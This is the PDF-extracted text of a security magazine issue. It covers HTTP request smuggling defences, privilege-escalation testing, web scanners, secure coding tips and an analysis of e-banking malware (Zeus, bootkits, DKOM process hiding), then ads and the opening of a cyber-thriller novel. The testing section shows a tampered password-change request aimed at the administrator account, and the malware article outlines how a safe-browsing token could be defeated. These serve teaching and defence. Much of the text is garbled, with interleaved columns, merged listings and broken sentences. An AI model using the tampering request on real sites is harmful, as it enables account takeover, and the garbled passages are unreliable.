Apply strong session management techniques. Terminate the session after each request. Disable TRACE method on the proxy server. Turn off TCP connection sharing on the intermediate devices. TCP connection sharing improves the performance but it allows attacker to smuggle HTTP request. Do not use NTLM authentication on the web server. NTLM authentication used with the proxy server shares TCP connections for several clients.
Privilege Escalation
Solution avaiable
Install web application firewall which protects against the HRS attacks. Few firewalls are still vulnerable to the HRS. Check with the firewall vendor if there product protects against HRS. Deploy web server which follows strict HTTP parsing procedure. Some Webservers like Apache follows strict HTTP parsing and hence less vulnerable to HRS attacks. Allow only SSL communication from client to server. This still leaves the site vulnerable to cache poisoning attack.
Listing 3. HTTP POST
POST /changepasswd.aspx HTTP/1.1 ... Host: www.example.com
Privilege escalation occurs when a user gets access to more resources or functionality than they are normally allowed, and such elevation/changes should have been prevented by the application. This is usually caused by a flaw in the application. The result is that the application performs actions with more privileges than those intended by the developer or system administrator. The degree of escalation depends on which privileges the attacker is authorized to possess, and which privileges can be obtained in a successful exploit. For example, a programming error that allows a user to gain extra privilege after successful authentication limits the degree of escalation, because the user is already authorized to hold some privilege. Likewise, a remote attacker gaining superuser privilege without any authentication presents a greater degree of escalation. Generally, we refer to vertical escalation when it is possible to access resources granted to more privileged accounts (e.g., acquiring administrative privileges for the application), and to horizontal escalation when it
Listing 5. Server responce
HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 1 Apr 2006 13:51:20 GMT
username=USER1&change_password=1234567890
Set-Cookie: USER=aW78rvc87bx7bx7Fs51yDqp; path=/; Set-Cookie: SESSION=k+Kmx08cvb9ccv5fT7Zz; path=/; Cache-Control: no-cache Pragma: No-cache Content-length: 344 domain=www.example.com domain=www.example.com
Listing 4. Modied parameters username to change admin password

POST /changepasswd.aspx HTTP/1.1 Host: www.example.com ...
Content-Type: text/html Connection: close Result Expected:
username=administrator&change_password=1234567890
Expires: Thu, 01 Jan 2012 00:00:00 GMT
Page 33
SECURITY CYBER WAR
Figure 8. XSS, Server Error and supported HTML method discoveries

Figure 6. Return tests
is possible to access resources granted to a similarly configured account (e.g., in an online banking application, accessing information related to a different user).
The tester should verify the execution of successful privilege escalation attempts.
Automated Testing
Some Commercial Tools
The space of commercial tools for web server penetration testing has mostly been coupled with that of the space of Web app pen testing tools. This by no means negates the need for focused security auditing of web servers. And some tools remain exclusively in that space. You just saw a list of plug-ins in Nessus that focus on web servers. N-Stealth, acunetix, appscan are tools that focuses entirely on web server scanning.
Black Box testing and example Testing for role/privilege manipulation
In every portion of the application where a user can create information in the database (e.g., making a payment, adding a contact, or sending a message), to receive information (statement of account, order details, etc.), or delete information (drop users, messages, etc.), it is necessary to record that functionality. The tester should try to access such functions as another user in order to verify, for example, if it is possible to access a function that should not be permitted by the users role/privilege (but might be permitted as another user). For example: The following HTTP POST allows the user to change password (Listing 3). Then modify the value of the parameters username to change admin password (Listing 4). The following servers responce shows below, Returned to the user after a successful http status code (Listing 5).
N-Stealth
N-Stealth (http://www.nstalker.com/eng/products/nstealth) is the commercial variant the old Stealth scanner grew into. There is a free version for you to try. N-Stealth brings to the table the following feature set (at a high level): Regular and timely updates of the attack data and known vulnerabilities Built-in IDS evasion Full support of Proxy servers Thorough investigation of a web server setup with support for manual testing
Figure 6 shows you some of the tests it runs and Figure 7 is a snippet from the HTML output.
AppScan
Figure 7. HTML output
AppScan (http://www.watchfire.com/securityzone/product/ appscansix.aspx), from the Watchfire Corporation, is extremely thorough in its auditing of the target you point it to. It focuses entirely on the Web application the results of an audit against an example target are shown in fingures some XSS, Server Error, and supported HTTP Method discoveries.
Page 34
This tool gives you different views into the same data, So GUI flexibility is there for your benefit. There is also command-line support for some functionality as well as some Windows-based APIs. Functionally, AppScan brings to the table the following feature set (at a highlevel): Target discovery and enumeration Automated auditing as well as manual auditing capabilities Extensive view options Extensive reporting options Exposed APIs Recording Proxy Remediation recommendations
SQL Injection SSI Injection XPath Injection Information disclosure Logical attacks Application privacy tests Application quality tests
The depth of AppScans auditing is its main power. It can be seen in the published listing of vulnerabilities detected and analyzed (http://www.watchfire.com/ resources/appscansix-vulnerabilties-detected.pdf). Its general areas of focus are the following: Authentication and Authorization Client-side attacks Command execution Buffer overflow Format strings OS Commanding
Another area of tremendous value is its reporting capabilities because those capabilities have been heavily geared toward compliance-related data as well as security related. Figure 9 is a screenshot of some of the reporting options. The screenshot shows you some of the options available to you in terms of reporting the tools findings. They have excellent options for those of you who have international clients. You can grab a 7-day evaluation version off their web site.
JATIN JAIN
JATIN JAIN is currently working as a Information security consultant. He is pursuing master in computer application and also has a sound knowledge in web application security testing, ethical hacking, network penetration testing, digital forensic and wireless network security. Apart from that he shows interest in PERFORMANCE TESTING. He loves to give training to secure computer against cyber crime, dangerous security loopholes vulnerabilities. He is writing a book for beginners and also written lots of articles for THN magazine (THEHACKERNEWS) and chmag. Contact Email id: jatinjain23@yahoo.com Fan page: www.facebook.com/secureyoursecurity
Figure 9. Screenshot of raporting options
Page 35
SECURITY PRESERVATION AND HACKING
Web Application
Security Preservation and Hacking
Are you sure that your web application is protected against cyber attacks? Is it possible for an attacker to get unauthorized access of your web application? Here I would like to focus on some of the major issues which need to be fixed while programming.
owadays lots of automatic security audit tools are available in the market so it is better to use those tools however manual testing is a must for better and improved security. For successful evaluation of any web application, one should take care of following:
Encrypted Login Pages
After user authentication is accomplished, lots of web applications use only Secure Socket Layer as a security measure, which is not a safe practice. After login, Session Encryption may be useful but failing to encrypt logins is like leaving the key in the lock when youre done locking the door. SSL provides no protection beyond the session, and an SSL-enabled Web server cannot protect the text data file stored on the server. SSL provides no protection against Web-based attacks such as exploiting a flaw with a Common Gateway Interface (CGI) script. If your login form POSTs to an encrypted resource, in many cases this security can be bypassed by a malicious security cracker who deploys his own login form to access the same resource and he may get access to sensitive information.
can bypass the JavaScript and submit dangerous input to the web server. Many web applications forms include JavaScript data validation. A malicious security cracker can deploy a form of his own that accesses the resource at the other end of the Web pages form action that doesnt include any validation at all. Rejected Data must not be persisted to the data store unless it is scanned properly. This is a common mistake to log incorrect data and that may be what the attacker wishes your application to do. In many cases of JavaScript form, validation can be bypassed by just deactivating JavaScript in the web browser or by using a Web browser that doesnt support JavaScript at all. Some programmers validate the password at client-side. If you are one of those then better leave this practice as these login pages can expose the passwords to the end user via the ability to view page source or, allows the end user to alter the web form so that it always reports successful validation.
Secure/Encrypted Connections
Server Side Data Validation
You should validate on server side because proper validation can protect against the malicious user, who
Programmers commit a common mistake by using unencrypted connections such as unencrypted FTP or HTTP for Web site or Web server management. Unencrypted or weak connections can make your web application vulnerable via man-in-the-middle attacks and login/password sniffing. The data could be sent
Page 36
directly to your web server by someone whos not even using your website, with a custom application designed to do so. Always use encrypted protocols such as Secure Shell (SSH) to access secure resources, using secure tools such as OpenSSH. OpenSSH is a FREE version of the SSH connectivity tools that technical users of the Internet rely on. Once someone has gained your login and password information, that person can do anything you could have done.
decrypt it. Each user has a pair of cryptographic keys a public encryption key and a private decryption key. The publicly available encrypting-key is widely distributed, while the private decrypting-key is known only to the recipient. Messages are encrypted with the recipients public key and can only be decrypted with the corresponding private key.
Maintain a Secure Workstation
Use Strong, Cross-platform Compatible Encryption
The Secure Socket Layer protocol was created to ensure secure transactions between web servers and users browser. The protocol uses a third party, a Certificate Authority (CA), to identify one end or both end of the transactions. Now you should prefer Transport Layer Security (TLS) the successor to Secure Socket Layer encryption. Make sure any encryption solution you choose doesnt unnecessarily limit your end user base as this can lead to lesser web traffic.
Work station audit is required in order to be sure that no keylogger or any other malicious software is lying on the computer. Because it can lead to unauthorised access to sensitive information regardless of all the security eg secured networks, encrypted communications, and other networking protections. If you connect to a secure resource from a client system and you are not sure about its security, then how can you be sure that someone isnt listening in on everything that youre doing. So workstation auditing may be the only way to be sure, with any certainty, that your workstation has not been compromised.
Connect to a Secure Network
Avoid connecting with unknown networks or with known poor security network such as open wireless access points in coffee houses etc. This is especially important whenever you log in to the server or Web site for administrative purposes or access secure resources. If it is necessary to access the Web site or Web server using an unsecured network, use a secure proxy so that your connection to the secure resource comes from a proxy on a secured network. You can use a virtual private network (VPN) connection that encrypts all the data between a device and a VPN server on the other end.
Never Share Login Details
Shared login credentials can cause a number of problems for security. This applies not only to you, Web server administrator, but to people with login credentials for the website as well even clients should never share login details. The more those are shared, the more difficult it is to establish an audit trail to help track down the source of a security breach or threat.
PRIYANKA TOMAR
Educational Qualication : BSc (Physics, Chemistry, Maths) Professional Qualication: Master of Computer Applications, Post Graduate Diploma in Cyber Security & Ethical Hacking Total Work Experience: 11 years Exposure in Penetration Testing, Vulnerability Assessment of Applications as per OWASP standards and Industry best practice, Web Application Audits Found & Fixed Vulnerabilities (Website Audit) for Indias leading corporates dynamic webportal. Prepared Forensics Report of a Hard Disk (there was a live case of data theft), Found footprints of USB device in Windows Vista & Linux.
Prefer Key-based Authentication
Use cryptographic key-based authentication for password authentication. The distinguishing technique used in public key cryptography is the use of asymmetric key algorithms, where the key used to encrypt a message is not the same as the key used to
Page 37
E-BANKING SECURITY
E-banking Ghosts
A TV show on the Swiss german TV channel SF1 followed a team from ETH who conducted a study on e-banking security. Its conclusion was that Only the bank which signs each transaction is labelled as safe. In a world where PC ghosts become ever more scary, isnt this an optimistic conclusion? Is there really a safe platform?
his year, the Swiss national television channel SF1 organized a benchmark with some major Swiss banks [1]. A few computer researchers from the renowned ETH polytechnicum in Zrich were challenged to evaluate the security measures in use on their e-banking sites. Result: they defeated all but one. The survivor (the winner) saved its reputation thanks to the systematic protection of every transaction in addition to the protection of the session [2]. There is actually nothing really new in the attacks mounted by the ETHical hackers. Assuming that PCs are nowadays easily infected, they installed a Trojan malware on the victim desktop. Then they used remote control tools in order to slide into the e-banking session and perform any transaction they liked. The aforementioned winner could not be attacked because the victim had to confirm every transaction with an offline device that could not be controlled remotely by the attacker. Such devices sign transactions by generating OTPs as HMACs of the most sensitive data. The goal of the Swiss TV was probably to warn its public on the risks of e-banking, which is definitely a valuable intention. However, the show and its conclusions also triggered a large debate in the local security community. Sure, impersonating the threat with Oscar as a remote attacker made it easier for Alice, the customer, to understand it. However, the real threat in
real life exists and does not work this way. Conclusions that both Alice and Bob, the bank manager, could draw after watching TV might thus be risky. Should Bob adopt the winning signature solution? Should Alice feel in total security because she signs every transaction with an offline device or any highlysophisticated electronic gadget? Our aim in this paper is to answer these questions. We will thus have a look at the real threats, meaning the ghosts that are nowadays haunting our PCs and Mac and smartphones. We will take one bestof-breed solution used by many Swiss and German banks and show why ghost busters are having hard times. In the end we will come back to the Swiss TV show and its conclusions in order to answer the above questions. Actually, rather than simply asking ourselves whether the winner against the ETHIcalghost would also escape from real ghosts, we will ask it in more general terms: is there a chance that Alice wont get trapped?
Ghosts do exist
In real life, ghosts do exist. Ghosts are infecting more and more devices and are usually delivered in the form of payloads installed by Trojan malwares [3] [4] [5] so the ETH experiment reflects reality on this aspect. There are many different kinds of them: Scary, Clickjacking, etc. Bankers is the family name for those specialized in
Page 38
stealing money from e-banking. Zeus [6] and SpyEye [7] are probably the most famous representative of such family, though many others are indeed haunting PCs and others [8]. Zeus and SpyEye are renowned because they are kits for sale that can be bought and run by anyone [9]. They are available to, and effectively used by all kinds of cyber criminals. In October 2010 a criminal organization of about 100 people has been running Zeus in the USA and stolen about 70M US$ [10]. More recently, a young Russian criminal stole more than 3M US$ in about 6 months running both Zeus and SpyEye [11]. Of course, in these cases, we know the story because it ended with an arrest Ghosts like Zeus and SpyEye are not only bankers. They support advanced configuration schemes from a remote administration console [12] in order to attack other targets. They can for example steal credentials on famous web sites such as Facebook, Google mail or Windows live, which have great value for identity theft and also allow spreading the malwares further [13]. They are also able to address more specific extranets for a more targeted attack or simply to sell it later on in some underground market place. The web is the primary target but FTP servers fall in the scope as well. Credentials are valuable, but credit card number as well, and the same is true for the snapshots of the pages visited by the victim which can be used in other scams. For example, a married man browsing dating sites could be blackmailed afterwards
Ghosts are invisible to the human eyes
Banker ghosts may also act in the shadow while Alice is making her e-banking. Not only they can steal her credentials but they are also able to directly steal the money from her accounts. Just like in the ETH experiment, they can wait for a session to be opened by Alice to perform the money transfer they like. Unlike the ETH experiment, they can in addition to that hide their forfeit from the victims eyes by intercepting and modifying on-the-fly the rendering of user accounts balance and thus remain in the shadow. The illustration in Figure 1 shows another level of sophistication of the same attack. There the ghost is able to steal money even when a confirmation with authentication is expected from Alice for every transaction. In this case, all the ghost does is to replace on-the-fly the target account by one owned by Oscar, or more probably by one of his mules. Alice cannot notice anything because, of course, the ghost does not display the effective target accounts but the one entered by Alice. Such attacks are usually referred to as Man-In-TheBrowser. In order to do this, Zeus injects the browser DLL in charge of formatting the HTTP requests and of rendering the HTML response [14]. In order to hook these DLLs, Zeus creates a remote thread in several processes, including Firefox, and uses it to divert the normal execution flow of the program by patching its DLLs (more information on how it is done can be found here [15]). Then it makes sure to stay in the shadow
Figure 1. Sophisticated attack
Page 39
E-BANKING SECURITY
by modifying the account text in both the transfer post request and back in the HTML response. Banker ghosts mostly target browsers and operating systems according to their popularity on the market. As Windows operating systems represent almost 85% of the market, it means that a malware functioning on multiple Windows operating systems will have a lot more potential victims. Then, the remaining challenge is to support the different browsers from the market because they are not all using the same DLLs and when they do, they might not be using them in the same way [16].
Persistence
Ghostbusters wont catch em
Worse, malwares like Zeus and SpyEye exhibit also advanced capabilities that allow them to remain in the shadow while Alice has installed the latest antiviruses and even when she runs some specialized antimalware tools. To this end, ghosts rely on best-of-breed rootkit techniques. Rootkit techniques are the most advanced pieces of technology in terms of efficiency in the persistence and stealth domains. This is why they are often used by malwares to resist to reboots and antivirus scanners. With such capabilities, ghosts survive in the long term as they can be neither found nor damaged. So, lets have a closer look at some such best-of-breed technics in the context of windows XP.
In terms of persistence, one of the most famous techniques is known as bootkit which is the contraction of the terms boot and rootkit. It is a generic term referring to a rootkit installed in a master boot record [17] [18]. A bootkit alters the normal boot procedure of an operating system in order to make sure that the malware can neither be detected nor be prevented from loading by some OS-level defense. The malicious pieces of code are loaded before any antivirus or anti-malware and thus prevent them to detect and remove the malware. Moreover, the bootkit may also enforce the operating system to load with the minimal level of security so as to make the malware easier to develop. As they are communicating at a very low level, their code is not just like the common piece of malware, they require additional care in the way they are developed in order to ensure the stability of the system. They are hardware and architecture dependent and require understanding undocumented features. This usually makes the task of developing a bootkit more time consuming. Even so, there exist several bootkits in the wild such as TDL4 [19] or Sinowal (Mebroot) [20] that are usually installed on the victims PCs as a payload brought by Trojan horses. The strength of bootkits lies in the fact that they exploit a security flaw which is a flaw by design
Figure 2. Malicious piece of code loaded before antivirus
Page 40
the fact that the booting procedure can be altered in its early stages. This can be more difficult if Trusted Platform Modules are used with full volume encryption. In this case, the risk is that the system will not be able to start.
Stealth
Stealth is the capacity of a malware to keep antimalwares blind of its presence. One technique among many others is called Direct Kernel Object Modification (DKOM). Even if DKOM has been invented by Jamie Butler several years ago (2005), it is still functional on up to date Windows XP systems. For the purpose of this paper, we will focus on such a platform since, as of October 2011, its market share is still at 33.4%, which is a worthy target given its efficiency / complexity ratio [21]. It is however worth noting that one can also obtain the same results on later versions of Windows. For example, HideToolz [22] implements such techniques to hide processes. As its name reveals, DKOM consists in modifying kernel objects in memory. It is important to understand that the Kernel does not interact directly with the hardware it is run on. It has a virtual representation of the disk, the memory, etc. The picture on the left of figure 3 describes how the system the eye normally interacts with the hardware in this case the memory. This technique is harder to detect than others which, for example, require loading a driver in order to access the kernel structures [23]. In the Windows kernel, processes are represented by the EPROCESS
structure which is filled with several pieces of information about the process, such as a unique identifier, the ActiveProcessLinks, etc. In particular, the ActiveProcessLinks contains the list of active processes in memory. Processes are linked to each other through next and previous links in a doublylinked list. By modifying the internal representation used by the system to manage resources, the DKOM technique allows hiding processes or drivers [24] and even more such as, for example, elevating ones privileges. As illustrated in the right picture of Figure 5, by making the links get around the process we want to hide meaning, the flink of the previous process points to the next process and the blink of the next process points to the previous process the system will not be able to see it anymore. For example, the process name will not appear anymore in the process list of the task manager. As said before, antivirus programs rely mostly on the information that the operating system provides them with. Therefore, modifying the vision of the system allows a program to escape from dynamic scanning by hiding its process. As for static scanning, other techniques are available like a specifically crafted device driver which can also hidden with DKOM. Anti-malwares which rely totally on the Operating System to scan the PC have no chance to find the malware. They must implement other sorts of custom mechanism in order to find out that something odd is going on [25].
Figure 3. The eye system interaction
Page 41
E-BANKING SECURITY
This type of solution has been developed in order to keep e-banking safe from browser injections by integrating its own browser, with all the necessary libraries, inside a stick so they cannot be injected. Furthermore, the sticks make sure that no other similar browser here, Firefox can be run at the same time in order to avoid the uncontrolled libraries to be loaded beforehand by using a watchdog program, which makes sure that all the security mechanisms have been loaded before starting the safe-browser. However, because of the fact that the default behavior of the Windows operating system concerning libraries is to use the loaded libraries instead of reloading them every time a library is included in a programs dependencies [26] [27], on a compromised PC the risks of the safebrowser using a compromised DLL is high. Conceptually, the protections of the safe-browsing token are cleverly thought. But the problem with such mechanisms is that they rely on information which is provided by the underlying operating system. Therefore, techniques that alter the operating systems vision allow an attacker to lessen the protection level they provide as they are fed with wrong information on the status of the system. So what can Oscar do if he uses a malware implementing the techniques explained above? Lets take, for example, a modified version of the agony rootkit [28], which could be freely downloaded from the Internet for many years until recently. The agony rootkit uses an implementation of the DKOM technique which has been previously explained. Among its numerous
Figure 4. Pendrive and Memory Card
Stealth And Persistence Combined
As a rule, malicious code will always win over a security mechanism if its code is loaded before or if it is run with higher privileges. Therefore, combining complementary sets of techniques can result in some wicked piece of malware. Oscar can make sure his routines are executed before any other security mechanism thanks to the bootkit functionalities and even hide its running processes when the operating system and antiviruses are started. The ghost will not be detected by the ghost busters.
Just a Theory?
Now that we have a good understanding of the threats, lets consider one safe-browsing solution which is largely used in German speaking countries, in particular for ebanking. Safe-browsing aims at providing a solution against MITB attacks.
Figure 5. Showing a replica of the e-banking portal in the PC-browser
Page 42
features, it allows to hide a process. Therefore, it is very easy to hide the process of the PC-browser from the system. As a result, the watchdog mechanism does not detect the PC-browser and allows the safe-browser to run. At this point we cannot be sure that the libraries on the key are the ones that are used by the safe-browser, hence making possible an attack la Zeus. Alternatively, once the PC-browser runs in parallel to the safe one, the attack can be completed by hiding the safe-browser from the view of Alice and showing her a replica of the e-banking portal in the PC-browser. As before, Oscar is now in a position where he controls what Alice and Bob see. Alice sees the PC-browser, where Oscar is free to bring her on a phishing site under his control. Bob sees his safe-browser which is as well under Oscars control. For a fully operational attack, all that is missing is some tunneling between the two browsers so that Alice does not see Oscars forfeit when she browses her account balance. We do not want here to educate black-hat trainees, so we will not give all the technical details. Still, it is obvious that hiding the safe-browser can be very easily done by obtaining a handle to its window and changing its parameters to hide it. As for the tunneling between the two browsers, Oscar could for example use the Windows API, but there are also other possible solutions. Oscar will have then everything he needs to show the legitimate transaction to Alice in her PCbrowser while his ghost actually executes another transaction in the hidden safe(?)-browser. As a conclusion, the safe-browser may implement mutual authentication or any other state-of-the-art protections that harden the link between the safebrowser and the bank, the problem is elsewhere. There is still room for a ghost to hide in the shadow on Alices
PC and to escape from the ghost busters hired by Bob until it has an opportunity to steal money.VI Ghosts can even hypnotize you. OK, but what about the winner of the ETH benchmark? Indeed, one could persist in believing that signing each transaction would be sufficient to defend against the attacks presented here before. Well Before answering this question, lets first have a look to the latest evolutions of Zeus similar extensions are available in SpyEye. ZITMO [29] aka Zeus In The Mobile targets the so-called mobile TAN solutions which are used by more and more banks in Western Europe. Such solutions claim to reveal the presence of a ghost on Alices PC by sending her an SMS where she can verify the details of a transaction and retrieve the attached OTP to confirm it in her browser. The main idea here is that the ghost on the PC has no way to hide the truth on Alices mobile. However, ZITMO does not try anymore to hide from Alices eyes, it hypnotizes her. With a bit of social engineering, it manages to bypass the mobile TAN by convincing Alice to install a certificate on her phone, for her security of course. Alice trusts Bob, so she installs Oscars malware on her mobile. From now on, Oscar will receive Alices SMS and thus be able to confirm his own transactions. Game over. The most interesting fact in this new generation of ghosts is their capability to exploit the control they have on the users vision to launch social engineering attacks. Technically, it does not change anything. This is done, as before, by injecting malicious instructions in the victims browser. The difference is only the intent behind. Then, coming back to the ETH experiment, the conclusion drawn by Alice and Bob should maybe not
Figure 6. Oscar will receive Alices SMS and thus be able to conrm his own transactions (Original picture taken from here [30])
Page 43
E-BANKING SECURITY
be so optimistic. In theory, signing a transaction with an offline device prevents the attacks presented before because Alice enters the transactions details in her device out-of-control from Oscars ghost. However, what happens if the ghost rather tries to convince her to sign something else, something that looks innocent and that is, of course, for her higher security?
Beware of the ghosts
For Example
Alice, a suspicious activity has taken place on your account. For higher security, we ask you to validate the cancelation order registered under this number [actually, Oscars account number]. or Alice, your transaction is registered under this number [again, Oscars account number]. Please, for your higher security, confirm it with your security token. etc.
The e-banking site of the winner of the ETH benchmark displays a revealing warning together with the happy ending of the benchmark. The statement reads: Never answer a number or sign confirmation request even if the request seems to come from the bank, meaning the bank is perfectly aware of the threats? Then, what can Bob do? Is there a chance that Alice will not get trapped by Oscars ghost? Yes, defending e-banking in such a context has become really challenging these days. The problem is neither the strength of some encryption algorithm, nor the need neither to add a third factor such as biometry, nor to use only secured hardware to protect the keys. The problem is the WYSIWYS = What You Sign Is What You See. Alice will always trust Bob but she needs a way to be sure that she is effectively talking to Bob. Mutual authentication between the browser and the server, in addition to communication over a secured channel, is no longer sufficient. Mutual authentication
References

http://www.kassensturz.sf.tv/Nachrichten/Archiv/2011/05/31/Themen/Geld/Kassensturz-hackt-E-Banking-Konten [1] http://www.kassensturz.sf.tv/content/download/2436814/78524594/version/1/le/Bankingtest_Tabelle.pdf [2] a reference to the famous Trojan horse [3] http://press.pandasecurity.com/wp-content/uploads/2011/07/PandaLabs-Report-Q2-2011.pdf [4] http://www.computerworld.com/s/article/9217113/New_malware_scanner_nds_5_of_Windows_PCs_infected?taxonomyId=85 [5] http://en.wikipedia.org/wiki/Zeus_(trojan_horse) [6] http://www.networkworld.com/news/2011/101411-spyeye-malware-continues-to-plague-251982.html [7] http://www.eweek.com/c/a/Security/Crimeware-Kit-Targeting-Mac-OS-X-Mimics-Zeus-and-Spyeye-Features-642093/ [8] http://www.pctools.com/security-news/attack-toolkits/ [9] http://www.fbi.gov/news/stories/2010/october/cyber-banking-fraud [10] http://techtalk.seattle.gov/2011/09/16/russian-cyber-criminal-steals-3-2-million-in-6-months/ [11] http://www.malekal.com/2011/08/25/spyeye-cc-et-business-underground/ [12] http://threatpost.com/en_us/blogs/facebook-worm-spreading-installing-zeus-bot-112911 [13] http://www.thetechherald.com/article.php/201120/7165/Overview-Inside-the-Zeus-Trojan-s-source-code?page=2 [14] http://www.symantec.com/connect/blogs/brief-look-zeuszbot-20 [15] http://www.scmagazineus.com/new-zeus-version-targeting-refox-users-for-bank-fraud/article/168455/ [16] http://www.stoned-vienna.com/ [17] http://www.securelist.com/en/analysis/204792044/Bootkit_the_challenge_of_2008 [18] Short French summary on TDL4: http://korben.info/tdl4-tdss-botnet.html & full ESET analysis: http://blog.eset.com/2011/10/18/ tdl4-rebooted [19] http://www.f-secure.com/weblog/archives/00001393.html [20] http://en.wikipedia.org/wiki/Windows_XP [21] http://woodmann.com/collaborative/tools/index.php/HideToolz [22] The drawback is that DKOM can only interact with dynamic structures and not with static ones such as les and folders [23] Rootkits: Subverting the Windows Kernel (Jamie Butler & Greg Hoglund) chapter 7 [24] See, for example, F-Secures blacklight: http://www.f-secure.com/en/web/labs_global/removal/blacklight [25] http://msdn.microsoft.com/en-us/library/windows/desktop/ms684175%28v=vs.85%29.aspx (Remarks section) [26] http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx (Factors that affect searching) [27] http://www.jhdscript.com/downloadview.php?id=266 (French) [28] http://www.net-security.org/malware_news.php?id=1472 [29] http://eternal-todo.com/les/presentations/Banking%20Fraud%20Evolution%20-%20Source%20Seattle.pdf [30] http://krebsonsecurity.com/2011/02/sold-a-lemon-in-internet-banking/ [31] http://packetstormsecurity.org/news/view/20233/Anonymous-And-Team-Poison-Start-Op-Robin-Hood.html [32] http://thehackernews.com/2011/11/oprobinhood-thousands-of-united-nation.html [33]
Page 44
is now necessary between the bank and the users eyes. Unfortunately, in a hostile environment such as a personal computer, there is no easy way to make sure that the messages exchanged between the bank and the users effectively come from them and cannot be modified along the way. The situation is so that some experts are now getting really pessimistic, at least as long as Alices PC cannot be realistically cleaned from ghosts [31]. On a more optimistic note, the ideas of signing transactions and of a second channel are still very good ideas to defeat malwares. But we need something more. As long as Alice gets instructed by her browser, social engineering attacks may still lead her to inappropriate conclusions making the signature and second channels inefficient. What we need is something to make sure that her browser cannot lie to her, at least for important matters. And the threat is growing [32] [33].
SBASTIEN BISCHOF
Sbastien Bischof works in the security division at ELCA where he is specialized in OS-level and communication security. As a major achievement, he developed a fully-working proof-ofconcept of an attack against a sophisticated USB token for safe-browsing. He obtained his Master of Science in Engineering at HEIGVD/HES-SO with a strong emphasis on IT Security. During his education, he focused on obfuscation and rootkit techniques. Computer security enthusiast, he is very interested in hackings events such as Insomnihack and keeps himself informed on the latest threats through active participation in security forums.

JEANMARC BOST
Jean-Marc Bost leads the security division at ELCA. He is in charge of the various security solutions proposed by ELCA, some being released by ELCA, others being provided by partner vendors. With a signicant experience in the development of internet applications, he focused 10 years ago on their need for security. Since then, he has been very active in : demonstrating the threats, in particular for ebanking conceiving practical and patented solutions for strong authentication, online transactions, electronic signature and secured documents presenting the ndings of the security division in security events and through expert talks
Help lonely children to find their HOME

With your help we can:

CHILDREN TO LOVE - FOUNDATION ARCHON+ the Public Benefit Organisation
ul. Sowackiego 42/3E, 32-400 Mylenice, Polska, KRS: 0000255774, biuro@rodzinazastepcza.org
www.rodzinazastepcza.org
PEKAO S.A. 52 1240 5051 1111 0000 5234 7577 SWIFT: PKOPPLPW

We help protect critical infrastructure one byte at a time
Checklists, tools & guidance Local chapters builders, breakers and defenders and more..
a d v e r t i s e m e n t
CYBER STYLETTO
Cyber Styletto
Prologue 1 a.m., Tuesday, Dec. 18, 2012, Los Gatos, California
rom a few hundred feet away the intersection looked completely clear. In fact, there was no other traffic visible in any direction, no which was surprise for the late hour. for what with seven It was tough the driverto steer, partiers crammed into a sedan that seated five, but everyone had to the get back to the dorms, and this was only ride available. When they piled in he couldnt say no. He wished theyd quiet down a little, though, and let him focus on the road. Maybe hed had one too many himself, but he was doing okay not speeding, and hadnt crossed any yellow lines so far. Besides, the rest of them had been drinking more heavily. As they neared the intersection the driver realized the traffic signal was out. There were one on the three right, one on the opposite corner, and one overhead and they were all out. That was strange. Signals usually flashed when they werent working, right? He eased off the accelerator, but they were already into the intersection. A quarter way through he saw it they all saw it a tanker truck bearing down on them.There wasnt even time for them to close their eyes. The residents of the apartment building who came out when the cops and paramedics arrived said it sounded more like an explosion than an accident, like a bomb had been dropped from a fighter jet. It took three companies to control the blaze, which burned until almost noon the next day. All seven in the car were incinerated, most beyond recognition. The driver of the rig was killed too. All the signals in a ten square mile area of the city had gone out at the same time. The automatic backups, rigged to keep the red and yellow lights flashing, didnt work. According to the staff at CalTrans, which controlled the new synchronized system, their monitors showed everything was working properly at the time of the accident. Network Systems had provided the server that ran the synchronization. All functions were automated.
Human error had been removed. If a single signal went down, a rare occurrence to begin with, the others in the intersection were programmed to stay on. Traffic management was on its own grid, so if the power in an area went out, signals still did their job. At worst, if an entire intersection somehow went offline, the computers were set to make the lights flash, to warn drivers of the potential danger. In short, the accident should not have happened. It could not have happened.
Page 54
Chapter 1
4 a.m., Tuesday, Dec. 18, 2012, Yvonne Trans bedroom
heirs was a relationship based on advantage who held it and when, and how strongly. When Stokes called her, she knew it was hers, and she was not about to let him forget it. She let the refrain from Satisfaction play once more on her smart phone before answering. You want something, darling? He paused for a moment. The trace of her Russian accent always did that to him, no matter how critical the situation. Theres a problem, he said. You mean aside from you waking me up at four in the morning? Yes. Let me guess. Your wife threw you out again He exhaled slowly into the receiver and she sensed his frustration. Good. Keep the pressure on. No, Yvonne. There was an accident in Silicon Valley. Eight people were killed. My God. What happened? Something infiltrated an automated traffic system. No one out there has a clue as to who or how. It was rare that anyone had a clue. That was the common denominator among governments and corporations. Shed dealt with enough of them for and against and had yet to encounter an organization that had the slightest idea as to how the world really worked. Is this a bad time, Yvonne? I mean, did you just get in? I know how you like to party. How quickly he could shift gears. But if she recapped the evenings activities, shed be open. Shed cede control to him. He wanted those details, maybe more than he wanted to discuss this latest crisis. Maybe there was no crisis, and he was merely using a terrible power outage as an excuse for calling, for trying to put her on the defensive, gain an opening so he might make one more pitch to keep their affair going. Those files are sealed, Rohan, she said. Sorry. Just trying to be nice. Can we get to the point? She had trusted him, for a little while at least, but how much trust could be generated between a black hat wanted on two continents and a top level cyber security wonk. Both his government job and her freelance hacking career demanded constant lies and cover ups, interactions that lasted only hours, rarely days, never longer. She knew an affair couldnt last, and tried to tell him that, to make him see why they shouldnt
be together. And then he let it slip that he was married, and that ended it, despite his pleading. Yet he never stopped trying. Even now, with all those people dead and a critical system compromised, he was trying to lead her there. Thats all I can tell you on this line, he said. Were not secure. Lieutenant Cummings from my office is on his way to your place. Hell install a Scan U unit so we can have a conference call. Another toy? What does this one do? Holographic communications. 3 D conferencing. This technology allows us to look around corners in someones room while were speaking to them. She knew he was kidding maybe. So when youre talking to me you can see what Im wearing below the monitor. Or not wearing. He was relentless. But she wouldnt let him get off the subject. CyberCom should be ashamed at how they use the taxpayers money. Send your Cummings, Rohan. Ill contact you when hes done. One more thing, he said. Cummings will also deliver a small upgrade for your cochlear implant. Just some software you can install in the chip to give you more range. An hour later she signaled Stokes that her Scan U unit was activated. He responded, and his holographic image resolved in the space between her and the monitor. For a moment it was a surprise, as if hed stepped through the screen into her bedroom. The 3 D projection of his head came complete with his mop of brown hair and wire rim glasses. It turned left to right, appearing to scan the room, and her, and Cummings, who was in there too, sipping from a cup of coffee she had offered. She 